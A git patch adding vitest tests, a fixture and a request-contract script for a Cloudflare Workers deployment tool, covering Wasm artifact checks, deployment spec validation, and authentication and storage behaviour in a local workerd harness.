@@ -169,6 +190,114 @@ describe('direct artifact preflight', () => { expect(result.manifest.tenantModule.source).toBe(tenant); }); + it('retains checked auxiliary Wasm bytes for both uploads and their manifest identities', async () => { + const binary = Buffer.from([0, 97, 115, 109, 1, 0, 0, 0]); + const dependency = "import binary from './fixture.wasm';\n"; + const f = await fixture(dependency + REFERENCE, dependency + TENANT); + await writeFile(join(f.directory, 'fixture.wasm'), binary); + for (const role of ['referenceWorker', 'deployment']) + f.config[role].artifact.auxiliaryWasm = [ + { + file: './fixture.wasm', + name: 'fixture.wasm', + sha256: digest(binary), + }, + ]; + await f.save(); + const result = await prepare(f.configPath); + const expected = { + name: 'fixture.wasm', + base64: binary.toString('base64'), + contentType: 'application/wasm', + byteLength: 8, + sha256: digest(binary), + }; + expect(result.referenceModules[2]).toEqual(expected); + expect(result.manifest.tenantWasm).toEqual([expected]); + expect(Object.isFrozen(result.manifest.tenantWasm)).toBe(true); + expect(Object.isFrozen(result.referenceModules[2])).toBe(true); + const table = result.referenceModules.map( + ({ name, contentType, byteLength, sha256 }) => ({ + name, + contentType, + byteLength, + sha256, + }), + ); + expect(result.referenceModuleSetSha256).toBe(digest(JSON.stringify(table))); + expect(result.referenceUploadBytes).toBe( + table.reduce((sum, module) => sum + module.byteLength, 0), + ); + await writeFile(join(f.directory, 'fixture.wasm'), 'changed'); + expect( + Buffer.from(result.manifest.tenantWasm[0]?.base64 ?? '', 'base64'), + ).toEqual(binary); + }); + + it.each([ + 'missing', + 'digest', + 'format', + 'aggregate-size', + ] as const)('rejects %s auxiliary Wasm', async (kind) => { + const f = await fixture(); + const binary = Buffer.from( + kind === 'format' ? 'not a module' : [0, 97, 115, 109, 1, 0, 0, 0], + ); + const path = join(f.directory, 'fixture.wasm'); + if (kind !== 'missing') await writeFile(path, binary); + if (kind === 'aggregate-size') { + const handle = await open(path, 'w'); + try { + await handle.truncate(DIRECT_MAX_UPLOAD_BYTES); + } finally { + await handle.close(); + } + } + f.config.deployment.artifact.auxiliaryWasm = [ + { + file: './fixture.wasm', + name: 'fixture.wasm', + sha256: kind === 'digest' ? '0'.repeat(64) : digest(binary), + }, + ]; + await f.save(); + await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact Wasm/); + }); + + it('rejects an unrecorded Wasm dependency', async () => { + const f = await fixture( + REFERENCE, + `import binary from './fixture.wasm';\n${TENANT}`, + ); + await expect(prepare(f.configPath)).rejects.toThrow( + /tenant artifact module inspection/, + ); + }); + + it('keeps reference and tenant Node dependency contracts separate', async () => { + const tenant = await fixture( + REFERENCE, + `import 'node:fs'; import 'stream/web';\n${TENANT}`, + ); + await expect(prepare(tenant.configPath)).resolves.toBeDefined(); + const reference = await fixture(`import 'node:fs';\n${REFERENCE}`, TENANT); + await expect(prepare(reference.configPath)).rejects.toThrow( + /reference artifact module inspection/, + ); + }); + + it('leaves optional computed tenant imports to runtime acceptance while retaining the reference contract', async () => { + const optional = + "async function optionalDependency(){try{const name='optional-package';return await import(name)}catch{return null}}"; + const tenant = await fixture(REFERENCE, `${TENANT}\n${optional}`); + await expect(prepare(tenant.configPath)).resolves.toBeDefined(); + const reference = await fixture(`${REFERENCE}\n${optional}`, TENANT); + await expect(prepare(reference.configPath)).rejects.toThrow( + /reference artifact module inspection/, + ); + }); + it('accepts symlinked regular input files and config-relative paths with spaces', async () => { const f = await fixture(); const link = join(f.directory, 'config link.json'); diff --git a/packages/fleet-control/test/direct-credentialed-spec.test.ts b/packages/fleet-control/test/direct-credentialed-spec.test.ts new file mode 100644 index 00000000..e75dfa7b --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-spec.test.ts @@ -0,0 +1,426 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { describe, expect, it, vi } from 'vitest'; +import { DIRECT_MAX_UPLOAD_BYTES } from '../scripts/direct-credentialed-conformance-preflight.mjs'; +import { + type DirectFixtureRelease, + type DirectFixtureRole, + type DirectProviderContext, + directDeploymentSpec, + generateDirectDeploymentSecrets, +} from '../scripts/direct-credentialed-spec.js'; +import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; +import { provisionDeployment } from '../src/provision.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import type { + FleetStateLease, + FleetStateStore, + ProvisioningBackend, +} from '../src/types.js'; +import { + validateDeploymentSecrets, + validateDeploymentSpec, +} from '../src/validation.js'; +import { + DIRECT_FIXTURE_PROVIDER, + directFixtureManifest, +} from './fixtures/direct-credentialed-config.js'; + +describe('direct fixture specifications', () => { + it.each([ + undefined, + '', + 'UPPER', + 'bad.workers.dev', + 'bad/name', + 'bad\n', + 'a'.repeat(64), + ])('rejects invalid provider subdomain %j', (subdomain) => { + expect(() => + directDeploymentSpec( + directFixtureManifest(), + 'a', + 'initial', + generateDirectDeploymentSecrets(), + { accountWorkersDevSubdomain: subdomain } as DirectProviderContext, + ), + ).toThrow(/account Workers.dev subdomain/); + }); + + it('rejects a provider origin that overlaps the configured application origin', () => { + const manifest = directFixtureManifest(); + const names = manifest.names.roles.a; + const changed = { + ...manifest, + names: { + ...manifest.names, + roles: { + ...manifest.names.roles, + a: { + ...names, + routeHostname: `${names.scriptName}.${DIRECT_FIXTURE_PROVIDER.accountWorkersDevSubdomain}.workers.dev`, + }, + }, + }, + }; + expect(() => + directDeploymentSpec( + changed, + 'a', + 'initial', + generateDirectDeploymentSecrets(), + DIRECT_FIXTURE_PROVIDER, + ), + ).toThrow(/hosts must differ/); + }); + + it.each([ + ['a', 'initial'], + ['a', 'next'], + ['b', 'initial'], + ['b', 'next'], + ['recovery', 'initial'], + ['recovery', 'next'], + ['recovery', 'failed-recovery'], + ] as const)('passes coordinator admission for %s/%s before any provider dispatch', async (role, release) => { + const secrets = generateDirectDeploymentSecrets(); + const spec = directDeploymentSpec( + directFixtureManifest(), + role, + release, + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + const stop = new Error('reached initial store read'); + const get = vi.fn(async () => { + throw stop; + }); + const store: Pick = { + withDeploymentLease: async (_tenant, _environment, run) => + run({} as FleetStateLease), + get, + }; + await expect( + provisionDeployment({ + spec, + secrets, + initialExecutionFenceState: 'open', + backend: { kind: 'plain-worker' } as ProvisioningBackend, + store: store as FleetStateStore, + }), + ).rejects.toBe(stop); + expect(get).toHaveBeenCalledOnce(); + }); + + it('checks the complete tenant upload boundary including generated ingress and Wasm', () => { + const manifest = directFixtureManifest(); + const secrets = generateDirectDeploymentSecrets(); + const binary = Buffer.from([0, 97, 115, 109, 1, 0, 0, 0]); + const small = directDeploymentSpec( + manifest, + 'a', + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + const finalOrigin = `https://${small.scriptName}.${DIRECT_FIXTURE_PROVIDER.accountWorkersDevSubdomain}.workers.dev`; + const ingress = plainWorkerIngressModule({ + ...small, + maintenanceBaseUrl: finalOrigin, + }); + const mainBytes = + DIRECT_MAX_UPLOAD_BYTES - + Buffer.byteLength(ingress.content) - + binary.length; + const base = manifest.tenantModule.source; + const source = `${base}/*${'a'.repeat(mainBytes - Buffer.byteLength(base) - 4)}*/`; + const atBoundary = { + ...manifest, + tenantModule: { + ...manifest.tenantModule, + source, + byteLength: Buffer.byteLength(source), + sha256: createHash('sha256').update(source).digest('hex'), + }, + tenantWasm: [ + { + name: 'fixture.wasm', + contentType: 'application/wasm' as const, + base64: binary.toString('base64'), + byteLength: binary.length, + sha256: createHash('sha256').update(binary).digest('hex'), + }, + ], + }; + expect(() => + directDeploymentSpec( + atBoundary, + 'a', + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, + ), + ).not.toThrow(); + const oversized = `${source} `; + expect(() => + directDeploymentSpec( + { + ...atBoundary, + tenantModule: { + ...atBoundary.tenantModule, + source: oversized, + byteLength: Buffer.byteLength(oversized), + sha256: createHash('sha256').update(oversized).digest('hex'), + }, + }, + 'a', + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, + ), + ).toThrow(/upload size/); + }); + + it('passes retained Wasm bytes and media type into each specification', () => { + const bytes = Buffer.from([0, 97, 115, 109, 1, 0, 0, 0]); + const manifest = { + ...directFixtureManifest(), + tenantWasm: [ + { + name: 'fixture.wasm', + base64: bytes.toString('base64'), + contentType: 'application/wasm' as const, + byteLength: bytes.length, + sha256: createHash('sha256').update(bytes).digest('hex'), + }, + ], + }; + const secrets = generateDirectDeploymentSecrets(); + for (const release of ['initial', 'next'] as const) { + const spec = directDeploymentSpec( + manifest, + 'a', + release, + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + expect(spec.modules[1]).toEqual({ + name: 'fixture.wasm', + content: new Uint8Array(bytes), + contentType: 'application/wasm', + }); + } + const changed = { + ...manifest, + tenantWasm: manifest.tenantWasm.map((module) => ({ + ...module, + sha256: '0'.repeat(64), + })), + }; + expect(() => + directDeploymentSpec( + changed, + 'a', + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, + ), + ).toThrow(/Wasm artifact/); + }); + + it.each([ + 'a', + 'b', + 'recovery', + ] as const)('builds validated initial/next specs for %s with stable bytes and secrets', (role) => { + const manifest = directFixtureManifest(); + const secrets = generateDirectDeploymentSecrets(); + const initial = directDeploymentSpec( + manifest, + role, + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + const next = directDeploymentSpec( + manifest, + role, + 'next', + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + for (const spec of [initial, next]) { + expect(() => validateDeploymentSpec(spec)).not.toThrow(); + expect(() => validateDeploymentSecrets(spec, secrets)).not.toThrow(); + expect(spec.modules).toEqual([ + { + name: manifest.tenantModule.name, + content: manifest.tenantModule.source, + contentType: 'application/javascript+module', + }, + ]); + expect(spec).toMatchObject({ + ...manifest.names.roles[role], + environment: manifest.environment, + authoredBy: 'platform', + cpuLimitMs: 50, + subrequestLimit: 50, + }); + expect(spec.application?.secrets).toEqual([ + { + name: 'APP_PROBE_TOKEN', + valueSha256: createHash('sha256') + .update(secrets.application?.APP_PROBE_TOKEN ?? '') + .digest('hex'), + }, + ]); + expect(spec.application?.r2Buckets).toEqual([{ name: 'PROBE_BUCKET' }]); + expect(spec.durableObjectBindings).toEqual([ + { name: 'MAINTENANCE', className: 'Maintenance' }, + { name: 'RUNNER', className: 'Runner' }, + ]); + expect(JSON.stringify(spec)).not.toContain(secrets.maintenanceAdmin); + expect(JSON.stringify(spec)).not.toContain( + secrets.application?.APP_PROBE_TOKEN, + ); + } + expect(next.modules).toEqual(initial.modules); + expect(next.application?.secrets).toEqual(initial.application?.secrets); + expect(next.migrations[0]).toEqual(initial.migrations[0]); + expect(next.migrations[1]?.rollbackCompatible).toBe(true); + expect(next.previousDurableObjectTag).toBe('v1'); + expect(next.durableObjectMigrations).toEqual( + initial.durableObjectMigrations, + ); + expect(initial.application?.vars).toEqual([ + { name: 'APPLICATION_RELEASE', value: '1' }, + ]); + expect(next.application?.vars).toEqual([ + { name: 'APPLICATION_RELEASE', value: '2' }, + ]); + expect(deploymentSpecDigest(next)).not.toBe(deploymentSpecDigest(initial)); + expect( + deploymentSpecDigest( + directDeploymentSpec( + manifest, + role, + 'next', + secrets, + DIRECT_FIXTURE_PROVIDER, + ), + ), + ).toBe(deploymentSpecDigest(next)); + expect(initial.compatibilityFlags).not.toBe( + manifest.deploymentRuntime.compatibilityFlags, + ); + }); + + it('generates separate credentials without mutable secret containers', () => { + const first = generateDirectDeploymentSecrets(); + const second = generateDirectDeploymentSecrets(); + const values = [ + first.deploymentIdentity, + first.maintenanceAdmin, + first.application?.APP_PROBE_TOKEN, + second.deploymentIdentity, + second.maintenanceAdmin, + second.application?.APP_PROBE_TOKEN, + ]; + for (const value of values) expect(value).toMatch(/^[A-Za-z0-9_-]{43}$/); + expect(new Set(values).size).toBe(values.length); + expect(Object.isFrozen(first)).toBe(true); + expect(Object.isFrozen(first.application)).toBe(true); + }); + + it.each([ + ['a', 'failed-recovery'], + ['unknown', 'initial'], + ['__proto__', 'initial'], + ['a', 'unknown'], + ] as const)('refuses invalid selection %s/%s', (role, release) => { + expect(() => + directDeploymentSpec( + directFixtureManifest(), + role as DirectFixtureRole, + release as DirectFixtureRelease, + generateDirectDeploymentSecrets(), + DIRECT_FIXTURE_PROVIDER, + ), + ).toThrow(/selection/); + }); + + it('binds failed recovery to a distinct retained specification', () => { + const manifest = directFixtureManifest(); + const secrets = generateDirectDeploymentSecrets(); + const failed = directDeploymentSpec( + manifest, + 'recovery', + 'failed-recovery', + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + const valid = directDeploymentSpec( + manifest, + 'recovery', + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, + ); + expect(failed.migrations[0]).toEqual(valid.migrations[0]); + expect(failed.schemaVersion).toBe(2); + expect(failed.migrations[1]?.sql).toContain( + 'direct_conformance_missing_table', + ); + expect(deploymentSpecDigest(failed)).not.toBe(deploymentSpecDigest(valid)); + }); + + it.each([ + 'source', + 'sha256', + 'byteLength', + ] as const)('rejects changed artifact %s before building a spec', (field) => { + const manifest = structuredClone(directFixtureManifest()); + Object.assign(manifest.tenantModule, { + [field]: field === 'byteLength' ? 1 : 'changed', + }); + expect(() => + directDeploymentSpec( + manifest, + 'a', + 'initial', + generateDirectDeploymentSecrets(), + DIRECT_FIXTURE_PROVIDER, + ), + ).toThrow(/artifact/); + }); + + it('refuses missing or extra application secrets without echoing their values', () => { + const secrets = generateDirectDeploymentSecrets(); + const manifest = directFixtureManifest(); + expect(() => + directDeploymentSpec( + manifest, + 'a', + 'initial', + { + ...secrets, + application: {}, + }, + DIRECT_FIXTURE_PROVIDER, + ), + ).toThrow(/application secret/); + expect(() => + directDeploymentSpec( + manifest, + 'a', + 'initial', + { + ...secrets, + application: { ...secrets.application, extra: 'secret-sentinel' }, + }, + DIRECT_FIXTURE_PROVIDER, + ), + ).toThrow(/exactly match/); + }); +}); diff --git a/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts new file mode 100644 index 00000000..6f7374ef --- /dev/null +++ b/packages/fleet-control/test/direct-credentialed-tenant.harness.test.ts @@ -0,0 +1,327 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { mkdtemp, rm, writeFile } from 'node:fs/promises'; +import { tmpdir } from 'node:os'; +import { join } from 'node:path'; +import { fileURLToPath } from 'node:url'; +import type { + D1Database, + DurableObjectNamespace, + R2Bucket, +} from '@cloudflare/workers-types'; +import { + DEPLOYMENT_IDENTITY_HEADER, + seedDeploymentIdentity, +} from '@proofoftech/flowsafe/do-runner'; +import { afterAll, beforeAll, describe, expect, it } from 'vitest'; +import { + createTestHarness, + unstable_splitSqlQuery as splitSqlQuery, + type TestHarness, + type WorkerHandle, +} from 'wrangler'; +import { + directDeploymentSpec, + generateDirectDeploymentSecrets, +} from '../scripts/direct-credentialed-spec.js'; +import { plainWorkerIngressModule } from '../src/plain-worker-backend.js'; +import { deploymentSpecDigest } from '../src/spec-digest.js'; +import { + DIRECT_FIXTURE_PROVIDER, + directFixtureManifest, +} from './fixtures/direct-credentialed-config.js'; + +const manifest = directFixtureManifest(); +const secrets = generateDirectDeploymentSecrets(); +const initial = directDeploymentSpec( + manifest, + 'a', + 'initial', + secrets, + DIRECT_FIXTURE_PROVIDER, +); +const next = directDeploymentSpec( + manifest, + 'a', + 'next', + secrets, + DIRECT_FIXTURE_PROVIDER, +); +const applicationHeaders = { + authorization: `Bearer ${secrets.application?.APP_PROBE_TOKEN}`, +}; +const maintenanceHeaders = { + authorization: `Bearer ${secrets.maintenanceAdmin}`, +}; + +interface HarnessBindings { + DB: D1Database; + PROBE_BUCKET: R2Bucket; + MAINTENANCE: DurableObjectNamespace; + RUNNER: DurableObjectNamespace; +} + +let directory: string | undefined; +let entrypoint: string | undefined; + +function options( + release: '1' | '2', + token = secrets.application?.APP_PROBE_TOKEN ?? '', +) { + if (!entrypoint) throw new Error('test ingress is not prepared'); + return { + root: fileURLToPath(new URL('..', import.meta.url)), + workers: [ + { + config: { + name: 'direct-tenant-harness', + main: entrypoint, + compatibility_date: '2026-08-06', + vars: { + DEPLOYMENT_TENANT: initial.tenantTag, + DEPLOYMENT_IDENTITY_SECRET: secrets.deploymentIdentity, + MAINTENANCE_ADMIN_SECRET: secrets.maintenanceAdmin, + APP_PROBE_TOKEN: token, + APPLICATION_RELEASE: release, + FLEET_SPEC_DIGEST: deploymentSpecDigest( + release === '1' ? initial : next, + ), + }, + d1_databases: [ + { + binding: 'DB', + database_name: 'direct-tenant-harness', + database_id: '00000000-0000-0000-0000-000000000000', + }, + ], + r2_buckets: [ + { binding: 'PROBE_BUCKET', bucket_name: 'direct-tenant-harness' }, + ], + durable_objects: { + bindings: [ + { name: 'RUNNER', class_name: 'Runner' }, + { name: 'MAINTENANCE', class_name: 'Maintenance' }, + ], + }, + migrations: [ + { tag: 'v1', new_sqlite_classes: ['Maintenance', 'Runner'] }, + ], + }, + }, + ], + } satisfies Parameters[0]; +} + +describe.sequential('direct tenant fixture in workerd', { + timeout: 30_000, +}, () => { + let server: TestHarness; + let worker: WorkerHandle; + + const appFetch = ( + path: string, + init?: Parameters[1], + ) => worker.fetch(new URL(path, `https://${initial.routeHostname}`), init); + const controlFetch = ( + path: string, + init?: Parameters[1], + ) => worker.fetch(new URL(path, initial.maintenanceBaseUrl), init); + + beforeAll(async () => { + directory = await mkdtemp(join(tmpdir(), 'fleet-direct-tenant-')); + const ingress = plainWorkerIngressModule(initial); + entrypoint = join(directory, ingress.name); + const source = fileURLToPath( + new URL('../scripts/direct-credentialed-tenant.ts', import.meta.url), + ); + await writeFile( + join(directory, initial.mainModule), + `export {default, Maintenance, Runner} from ${JSON.stringify(source)};\n`, + ); + await writeFile(entrypoint, ingress.content); + server = createTestHarness(options('1')); + await server.listen(); + worker = server.getWorker(); + const env = await worker.getEnv(); + await seedDeploymentIdentity(env.DB, initial.tenantTag, 'open'); + for (const migration of initial.migrations) + await env.DB.batch( + splitSqlQuery(migration.sql).map((sql) => env.DB.prepare(sql)), + ); + }, 30_000); + + afterAll(async () => { + try { + await server?.close(); + } finally { + if (directory) await rm(directory, { recursive: true, force: true }); + } + }, 30_000); + + it('authenticates probes and reads real D1 state', async () => { + for (const headers of [{}, { authorization: 'Bearer wrong' }]) { + expect((await appFetch('/__direct/health', { headers })).status).toBe( + 401, + ); + expect( + (await appFetch('/__direct/object', { method: 'POST', headers })) + .status, + ).toBe(401); + } + const response = await appFetch('/__direct/health', { + headers: applicationHeaders, + }); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ release: '1', marker: 'initial' }); + const env = await worker.getEnv(); + expect((await env.PROBE_BUCKET.list()).objects).toEqual([]); + }); + + it('uses the host maintenance authenticator and actual Durable Object', async () => { + expect( + ( + await controlFetch('/admin/ensure-maintenance', { + method: 'POST', + headers: applicationHeaders, + }) + ).status, + ).toBe(401); + const ensured = await controlFetch('/admin/ensure-maintenance', { + method: 'POST', + headers: maintenanceHeaders, + }); + expect(ensured.status).toBe(200); + expect(await ensured.json()).toMatchObject({ + nextSweepAt: expect.any(Number), + nextPurgeAt: expect.any(Number), + alarmAt: expect.any(Number), + deploymentSpecDigest: deploymentSpecDigest(initial), + }); + const status = await controlFetch('/admin/maintenance-status', { + headers: maintenanceHeaders, + }); + expect(status.status).toBe(200); + expect(await status.json()).toMatchObject({ + nextSweepAt: expect.any(Number), + nextPurgeAt: expect.any(Number), + alarmAt: expect.any(Number), + deploymentSpecDigest: deploymentSpecDigest(initial), + }); + expect(await worker.listDurableObjectIds('MAINTENANCE')).toHaveLength(1); + }); + + it('admits candidate maintenance on the control origin and rejects version selection on public ingress', async () => { + const headers = { + ...maintenanceHeaders, + 'Cloudflare-Workers-Version-Overrides': `${initial.scriptName}="11111111-1111-4111-8111-111111111111"`, + }; + expect( + (await appFetch('/admin/ensure-maintenance', { method: 'POST', headers })) + .status, + ).toBe(404); + const response = await controlFetch('/admin/ensure-maintenance', { + method: 'POST', + headers, + }); + expect(response.status).toBe(200); + expect(await response.json()).toMatchObject({ + deploymentSpecDigest: deploymentSpecDigest(initial), + nextSweepAt: expect.any(Number), + }); + expect( + (await controlFetch('/__direct/health', { headers: applicationHeaders })) + .status, + ).toBe(404); + }); + + it('constructs the real Runner runtime behind its internal identity check', async () => { + const env = await worker.getEnv(); + const runner = env.RUNNER.get(env.RUNNER.idFromName('fixture:run1')); + const url = 'https://runner/runs/fixture/run1/start-liveness'; + expect((await runner.fetch(url)).status).toBe(503); + const response = await runner.fetch(url, { + headers: { [DEPLOYMENT_IDENTITY_HEADER]: secrets.deploymentIdentity }, + }); + expect(response.status).toBe(200); + expect(await response.json()).toEqual({ live: false }); + }); + + it('writes fixed R2 bytes and retains them across reload and additive D1 migration', async () => { + expect( + ( + await appFetch('/__direct/object', { + method: 'POST', + headers: applicationHeaders, + body: 'ignored request body', + }) + ).status, + ).toBe(204); + const body = 'direct-conformance-fixture-data'; + const env = await worker.getEnv(); + expect( + await (await env.PROBE_BUCKET.get('direct-conformance-fixture'))?.text(), + ).toBe(body); + for (const migration of next.migrations.slice(initial.migrations.length)) + await env.DB.batch( + splitSqlQuery(migration.sql).map((sql) => env.DB.prepare(sql)), + ); + await server.update(options('2')); + worker = server.getWorker(); + const health = await appFetch('/__direct/health', { + headers: applicationHeaders, + }); + expect(health.status).toBe(200); + expect(await health.json()).toEqual({ release: '2', marker: 'next' }); + const object = await appFetch('/__direct/object', { + headers: applicationHeaders, + }); + expect(object.status).toBe(200); + expect(await object.json()).toEqual({ + present: true, + size: Buffer.byteLength(body), + sha256: createHash('sha256').update(body).digest('hex'), + }); + expect( + ( + await appFetch('/__direct/object', { + method: 'DELETE', + headers: applicationHeaders, + }) + ).status, + ).toBe(204); + expect( + await ( + await appFetch('/__direct/object', { headers: applicationHeaders }) + ).json(), + ).toEqual({ present: false }); + }); + + it('keeps the host identity check before authenticated application probes', async () => { + const changed = options('2'); + const input = changed.workers[0]; + if (!input) throw new Error('test Worker configuration is missing'); + input.config.vars.DEPLOYMENT_TENANT = manifest.names.roles.b.tenantTag; + await server.update(changed); + worker = server.getWorker(); + expect( + (await appFetch('/__direct/health', { headers: applicationHeaders })) + .status, + ).toBe(503); + await server.update(options('2')); + worker = server.getWorker(); + }); + + it('does not turn a missing application secret into a bearer credential', async () => { + await server.update(options('2', '')); + worker = server.getWorker(); + for (const token of [secrets.application?.APP_PROBE_TOKEN, 'undefined', '']) + expect( + ( + await appFetch('/__direct/health', { + headers: { authorization: `Bearer ${token}` }, + }) + ).status, + ).toBe(401); + }); +}); diff --git a/packages/fleet-control/test/fixtures/direct-credentialed-config.ts b/packages/fleet-control/test/fixtures/direct-credentialed-config.ts new file mode 100644 index 00000000..d9be98a1 --- /dev/null +++ b/packages/fleet-control/test/fixtures/direct-credentialed-config.ts @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { createHash } from 'node:crypto'; +import { readFileSync } from 'node:fs'; +import { + deriveDirectConformanceNames, + validateDirectConformanceConfig, +} from '../../scripts/direct-credentialed-conformance-config.mjs'; +import type { DirectRunManifest } from '../../scripts/direct-credentialed-conformance-preflight.mjs'; + +export const DIRECT_FIXTURE_PROVIDER = Object.freeze({ + accountWorkersDevSubdomain: 'direct-fixture', +}); + +export function directFixtureManifest(): DirectRunManifest { + const raw = readFileSync( + new URL( + '../../scripts/direct-credentialed-conformance.example.json', + import.meta.url, + ), + ); + const config = validateDirectConformanceConfig( + JSON.parse(raw.toString('utf8')), + { + now: Date.parse('2026-09-09T12:00:00Z'), + }, + ); + const { artifact: _referenceArtifact, ...referenceRuntime } = + config.referenceWorker; + const { + artifact: _tenantArtifact, + spec, + ...deploymentRuntime + } = config.deployment; + const source = + 'export class Maintenance {} export class Runner {} export default {};'; + return { + contractVersion: config.contractVersion, + configSha256: createHash('sha256').update(raw).digest('hex'), + resourcePrefix: config.resourcePrefix, + environment: config.environment, + names: deriveDirectConformanceNames(config), + referenceRuntime, + deploymentRuntime, + tenantModule: { + name: 'worker.js', + source, + contentType: 'application/javascript+module', + byteLength: Buffer.byteLength(source), + sha256: createHash('sha256').update(source).digest('hex'), + }, + tenantWasm: [], + fixtureVersion: spec.fixtureVersion, + interruption: config.interruption, + }; +} From 2fefadebf506ccc6daa5e306036e033af606342a Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 21:04:58 +0400 Subject: [PATCH 109/169] test(fleet-control): define direct reference requests --- ...direct-credentialed-conformance-config.mjs | 2 +- .../scripts/direct-reference-contract.d.mts | 78 +++++++ .../scripts/direct-reference-contract.mjs | 147 ++++++++++++ ...ct-credentialed-conformance-config.test.ts | 25 +- .../test/direct-reference-contract.test.ts | 218 ++++++++++++++++++ 5 files changed, 468 insertions(+), 2 deletions(-) create mode 100644 packages/fleet-control/scripts/direct-reference-contract.d.mts create mode 100644 packages/fleet-control/scripts/direct-reference-contract.mjs create mode 100644 packages/fleet-control/test/direct-reference-contract.test.ts diff --git a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs index c72f984d..dccd078c 100644 --- a/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs +++ b/packages/fleet-control/scripts/direct-credentialed-conformance-config.mjs @@ -177,7 +177,7 @@ export function deriveDirectConformanceNames(config) { const tenantTag = `${prefix}${suffix}`; if (!DEPLOYMENT_TAG_PATTERN.test(tenantTag)) throw invalid('derived tenant tag'); - const name = `${prefix}-${role}`; + const name = `${prefix}-tenant-${role}`; roles[role] = Object.freeze({ tenantTag, scriptName: name, diff --git a/packages/fleet-control/scripts/direct-reference-contract.d.mts b/packages/fleet-control/scripts/direct-reference-contract.d.mts new file mode 100644 index 00000000..b3e80fbe --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-contract.d.mts @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: Apache-2.0 + +import type { DirectFixtureRole } from './direct-credentialed-spec.js'; + +export const DIRECT_REFERENCE_PATH: '/.well-known/anchorage/direct-conformance/v1/actions'; +export const DIRECT_REFERENCE_BODY_LIMIT: number; +export type DirectReferenceErrorCode = + | 'invalid-request' + | 'payload-too-large' + | 'invalid-utf8' + | 'run-binding-mismatch'; + +export class DirectReferenceRequestError extends Error { + readonly code: DirectReferenceErrorCode; + constructor(code?: DirectReferenceErrorCode); +} + +export type DirectInventorySlot = 'inventory-before' | 'inventory-after'; +export type DirectAuditSlot = 'audit-before' | 'audit-after'; +export type DirectReferenceAction = + | Readonly<{ + kind: + | 'control-read' + | 'migration-start' + | 'migration-abandon' + | 'force-recovery' + | 'force-observe'; + }> + | Readonly<{ kind: 'provision'; role: DirectFixtureRole; release: 'initial' }> + | Readonly<{ + kind: 'provision'; + role: 'recovery'; + release: 'failed-recovery'; + }> + | Readonly<{ + kind: 'inventory-start' | 'inventory-read'; + slot: DirectInventorySlot; + }> + | Readonly<{ + kind: 'inventory-continue'; + slot: DirectInventorySlot; + token?: unknown; + }> + | Readonly<{ kind: 'audit-start' | 'audit-abandon'; slot: DirectAuditSlot }> + | Readonly<{ kind: 'audit-continue'; slot: DirectAuditSlot; token?: unknown }> + | Readonly<{ + kind: 'audit-page'; + slot: DirectAuditSlot; + afterOrdinal?: number; + limit: number; + }> + | Readonly<{ kind: 'migration-page'; afterOrdinal?: number; limit: number }> + | Readonly<{ kind: 'migration-continue'; token?: unknown }> + | Readonly<{ + kind: 'cleanup-start' | 'cleanup-receipt' | 'decommission-start'; + role: DirectFixtureRole; + }> + | Readonly<{ + kind: 'cleanup-continue' | 'decommission-continue'; + role: DirectFixtureRole; + token?: unknown; + }> + | Readonly<{ + kind: 'cleanup-restart-blocked' | 'decommission-restart-blocked'; + role: DirectFixtureRole; + token: unknown; + }>; + +export interface DirectReferenceRequest { + readonly contractVersion: 1; + readonly configSha256: string; + readonly action: DirectReferenceAction; +} + +export function readDirectReferenceRequest( + request: Request, + expectedConfigSha256: string, +): Promise; diff --git a/packages/fleet-control/scripts/direct-reference-contract.mjs b/packages/fleet-control/scripts/direct-reference-contract.mjs new file mode 100644 index 00000000..8fe9c784 --- /dev/null +++ b/packages/fleet-control/scripts/direct-reference-contract.mjs @@ -0,0 +1,147 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { readBoundedBody } from '@proofoftech/flowsafe/host-kit'; + +export const DIRECT_REFERENCE_PATH = + '/.well-known/anchorage/direct-conformance/v1/actions'; +export const DIRECT_REFERENCE_BODY_LIMIT = 16 * 1024; + +export class DirectReferenceRequestError extends Error { + constructor(code = 'invalid-request') { + super(code); + this.name = 'DirectReferenceRequestError'; + this.code = code; + } +} + +function invalid() { + throw new DirectReferenceRequestError(); +} + +function keys(value, required, optional = []) { + if (!value || typeof value !== 'object' || Array.isArray(value)) invalid(); + if (required.some((key) => !Object.hasOwn(value, key))) invalid(); + const accepted = new Set([...required, ...optional]); + if (Object.keys(value).some((key) => !accepted.has(key))) invalid(); +} + +function member(value, values) { + if (!values.includes(value)) invalid(); +} + +function page(action) { + if ( + !Number.isSafeInteger(action.limit) || + action.limit < 1 || + action.limit > 1_000 + ) + invalid(); + if ( + Object.hasOwn(action, 'afterOrdinal') && + (!Number.isSafeInteger(action.afterOrdinal) || + action.afterOrdinal < 0 || + action.afterOrdinal >= Number.MAX_SAFE_INTEGER) + ) + invalid(); +} + +function actionFromParsed(value) { + if (!value || typeof value !== 'object' || Array.isArray(value)) invalid(); + const kind = value.kind; + switch (kind) { + case 'control-read': + case 'migration-start': + case 'migration-abandon': + case 'force-recovery': + case 'force-observe': + keys(value, ['kind']); + break; + case 'provision': + 